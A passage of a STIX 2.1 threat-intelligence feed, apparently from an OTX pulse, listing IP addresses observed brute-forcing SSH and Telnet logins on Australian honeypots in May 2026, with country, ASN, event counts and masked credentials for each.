      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '206.189.138.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T21:15:11.000Z",
      "valid_until": "2026-06-11T21:15:08.000Z"
    },
    {
      "created": "2026-05-10T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: AE. ASN(s): 209373. Organisation(s): Swissnet LLC. Usernames observed (masked): r**t, a***n, t**********n, u**r. Passwords observed (masked): , a***n, a**********m, r**t, u**r.",
      "id": "indicator--6373de92-0ad5-47a2-ba30-fffda076fa13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.56.209.125']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T21:15:11.000Z",
      "valid_until": "2026-06-11T21:15:08.000Z"
    },
    {
      "created": "2026-05-10T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--f467f94f-c66f-4600-aac8-02b594aba8f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.79.20.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T21:15:11.000Z",
      "valid_until": "2026-06-11T21:15:08.000Z"
    },
    {
      "created": "2026-05-10T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--73f3ccdb-bad9-48b1-9ad5-4ae03f21bb1a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '88.231.58.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T21:15:11.000Z",
      "valid_until": "2026-06-11T21:15:08.000Z"
    },
    {
      "created": "2026-05-10T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--0761fdb9-33e8-44f3-a3fa-6dde66179f6b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.211.17.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T22:15:10.000Z",
      "valid_until": "2026-06-11T22:15:08.000Z"
    },
    {
      "created": "2026-05-10T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--cb921aff-e821-41e6-9e39-c7b2d470aa8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.227.165.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T22:15:10.000Z",
      "valid_until": "2026-06-11T22:15:08.000Z"
    },
    {
      "created": "2026-05-10T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 26599. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--b2a55abe-acb7-47f4-9708-b82d9fb65095",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.161.221.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T22:15:10.000Z",
      "valid_until": "2026-06-11T22:15:08.000Z"
    },
    {
      "created": "2026-05-10T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 28573. Organisation(s): Claro NXT Telecomunicacoes Ltda. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--fd6964df-8f20-415f-beee-1c9fb8d3db17",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.208.243.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T22:15:10.000Z",
      "valid_until": "2026-06-11T22:15:08.000Z"
    },
    {
      "created": "2026-05-10T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: LB. ASN(s): 202987. Organisation(s): Fiber Networks Services S.A.R.L.",
      "id": "indicator--7ace8815-22cb-487a-852d-4f8900f1543d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.127.127.156']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T22:15:10.000Z",
      "valid_until": "2026-06-11T22:15:08.000Z"
    },
    {
      "created": "2026-05-10T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 203443. Organisation(s): Indert Connection Lp.",
      "id": "indicator--94c8ec09-c474-4e0f-bb96-26b3e06d05f8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.134.49.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T22:15:10.000Z",
      "valid_until": "2026-06-11T22:15:08.000Z"
    },
    {
      "created": "2026-05-10T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--86d4e82a-acc5-43fa-9ee5-f18680d100b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.255']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T22:15:10.000Z",
      "valid_until": "2026-06-11T22:15:08.000Z"
    },
    {
      "created": "2026-05-10T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 49453. Organisation(s): Global Layer B.V..",
      "id": "indicator--3bd17315-9b0f-481f-9665-63c1221a806f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.152.185.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T22:15:10.000Z",
      "valid_until": "2026-06-11T22:15:08.000Z"
    },
    {
      "created": "2026-05-10T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UA. ASN(s): 6698. Organisation(s): Virtual Systems LLC.",
      "id": "indicator--cf7413d8-e384-4a95-9092-da13bb980fbe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.11.57.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T22:15:10.000Z",
      "valid_until": "2026-06-11T22:15:08.000Z"
    },
    {
      "created": "2026-05-10T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System.",
      "id": "indicator--b66c7421-82eb-4810-8140-0c3cd65be6a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.125.136.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T23:15:10.000Z",
      "valid_until": "2026-06-11T23:15:08.000Z"
    },
    {
      "created": "2026-05-10T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Fatt. Target ports: 2222. Source country: PT. ASN(s): 21859. Organisation(s): Zenlayer Inc.",
      "id": "indicator--dd1fd78d-289a-4a26-8f97-7c39ae8b4cee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.226.197.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T23:15:10.000Z",
      "valid_until": "2026-06-11T23:15:08.000Z"
    },
    {
      "created": "2026-05-10T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 10220. Organisation(s): PT. Kreasi Sejahtera Teknologi. Usernames observed (masked): r**t, a***n, 3**********4, f*****r, ***. Passwords observed (masked): !**********c, 3***********4, 3**********4, G*******6, a*****6.",
      "id": "indicator--15ae84d0-47a3-48c3-a350-41bc8c75067f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.51.214.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T23:15:10.000Z",
      "valid_until": "2026-06-11T23:15:08.000Z"
    },
    {
      "created": "2026-05-10T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--95753017-8cf6-420e-9a0d-14550fb7e750",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T23:15:10.000Z",
      "valid_until": "2026-06-11T23:15:08.000Z"
    },
    {
      "created": "2026-05-10T23:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--309e33c8-b8a7-4489-a8c9-7889dd286f5f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.95.20.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T23:15:10.000Z",
      "valid_until": "2026-06-11T23:15:08.000Z"
    },
    {
      "created": "2026-05-10T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 6327. Organisation(s): Shaw Communications.",
      "id": "indicator--262f1ab7-2020-45c0-a958-00928c58f796",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '24.78.64.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T23:15:10.000Z",
      "valid_until": "2026-06-11T23:15:08.000Z"
    },
    {
      "created": "2026-05-10T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 273182. Organisation(s): Cablexpress TV C.A..",
      "id": "indicator--b20a63c8-4a72-4f79-994c-4abd52aa5a3e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.190.124.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T23:15:10.000Z",
      "valid_until": "2026-06-11T23:15:08.000Z"
    },
    {
      "created": "2026-05-10T23:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 61971. Organisation(s): SarLink LLC.",
      "id": "indicator--273285b0-ee87-4922-968a-5bb4a2cd8c1b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-10T23:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.23.120.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-10T23:15:10.000Z",
      "valid_until": "2026-06-11T23:15:08.000Z"
    },
    {
      "created": "2026-05-11T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--ace63da4-8c41-4867-94ee-3300e06fde5b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.39.228.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T00:15:10.000Z",
      "valid_until": "2026-06-12T00:15:08.000Z"
    },
    {
      "created": "2026-05-11T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a1528387-82fe-492b-ab7c-58fe9c675901",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.232.71.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T00:15:10.000Z",
      "valid_until": "2026-06-12T00:15:08.000Z"
    },
    {
      "created": "2026-05-11T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 35916. Organisation(s): MULTACOM CORPORATION.",
      "id": "indicator--ece98fba-3fc3-4ab9-895e-7a71aad9428e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '142.171.149.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T00:15:10.000Z",
      "valid_until": "2026-06-12T00:15:08.000Z"
    },
    {
      "created": "2026-05-11T00:15:10.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 14956. Organisation(s): RouterHosting LLC.",
      "id": "indicator--fb55a3bd-71df-4208-ad56-e0ff3f6fd82d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '144.172.101.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T00:15:10.000Z",
      "valid_until": "2026-06-12T00:15:08.000Z"
    },
    {
      "created": "2026-05-11T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 270044. Organisation(s): CORRIENTES TELECOMUNICACIONES S.A.P.E.M..",
      "id": "indicator--ee781f97-7e84-4834-a1b6-c6878c6effa0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.0.183.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T00:15:10.000Z",
      "valid_until": "2026-06-12T00:15:08.000Z"
    },
    {
      "created": "2026-05-11T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 11664. Organisation(s): Techtel LMDS Comunicaciones Interactivas S.A..",
      "id": "indicator--280615a6-f0ae-4a07-9749-d68f71d8ead4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.116.252.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T00:15:10.000Z",
      "valid_until": "2026-06-12T00:15:08.000Z"
    },
    {
      "created": "2026-05-11T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 8048. Organisation(s): CANTV Servicios, Venezuela.",
      "id": "indicator--cc0f144f-d7de-49ad-9a78-1300d1b9e61f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.206.255.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T00:15:10.000Z",
      "valid_until": "2026-06-12T00:15:08.000Z"
    },
    {
      "created": "2026-05-11T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AO. ASN(s): 11259. Organisation(s): ANGOLATELECOM.",
      "id": "indicator--e470641a-f980-4835-8f31-01614e8d0e0d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.217.29.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T00:15:10.000Z",
      "valid_until": "2026-06-12T00:15:08.000Z"
    },
    {
      "created": "2026-05-11T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: EG. ASN(s): 8452. Organisation(s): TE Data.",
      "id": "indicator--c2c7a09b-57d4-42b3-9c4f-213a0233a576",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '197.46.52.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T00:15:10.000Z",
      "valid_until": "2026-06-12T00:15:08.000Z"
    },
    {
      "created": "2026-05-11T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--b3a5ba23-351c-4f74-91cb-2fee8801488b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '20.163.14.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T00:15:10.000Z",
      "valid_until": "2026-06-12T00:15:08.000Z"
    },
    {
      "created": "2026-05-11T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CA. ASN(s): 7122. Organisation(s): Bell Canada.",
      "id": "indicator--a1c72667-2ba4-49ef-8f28-689ece36cebe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.200.179.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T00:15:10.000Z",
      "valid_until": "2026-06-12T00:15:08.000Z"
    },
    {
      "created": "2026-05-11T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 56630. Organisation(s): Melbikomas UAB.",
      "id": "indicator--9ccbd60f-3563-4ce8-b004-1dce21356558",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '213.183.63.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T00:15:10.000Z",
      "valid_until": "2026-06-12T00:15:08.000Z"
    },
    {
      "created": "2026-05-11T00:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 36680. Organisation(s): Netiface LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--912c92d0-b75f-4213-b677-fd7bee52ec1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.57.216.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T00:15:10.000Z",
      "valid_until": "2026-06-12T00:15:08.000Z"
    },
    {
      "created": "2026-05-11T00:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HR. ASN(s): 5391. Organisation(s): Hrvatski Telekom d.d..",
      "id": "indicator--ce8022fb-9848-4c47-a7f1-3b76f26bd893",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T00:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '93.136.134.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T00:15:10.000Z",
      "valid_until": "2026-06-12T00:15:08.000Z"
    },
    {
      "created": "2026-05-11T01:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 242. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 132116. Organisation(s): Anonet Network Private Limited.",
      "id": "indicator--61c62b17-ec4f-4e87-bb0c-d0ab0a8bae03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.100.7.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T01:15:05.000Z",
      "valid_until": "2026-06-12T01:15:03.000Z"
    },
    {
      "created": "2026-05-11T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Source country: NL. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--13a7d5d3-fb77-453b-92b0-db9132a7df91",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-11T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.6.164.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-11T01:15:05.000Z",
      "valid_until": "2026-06-12T01:15:03.000Z"
    },
    {
      "created": "2026-05-11T01:15:05.000Z",
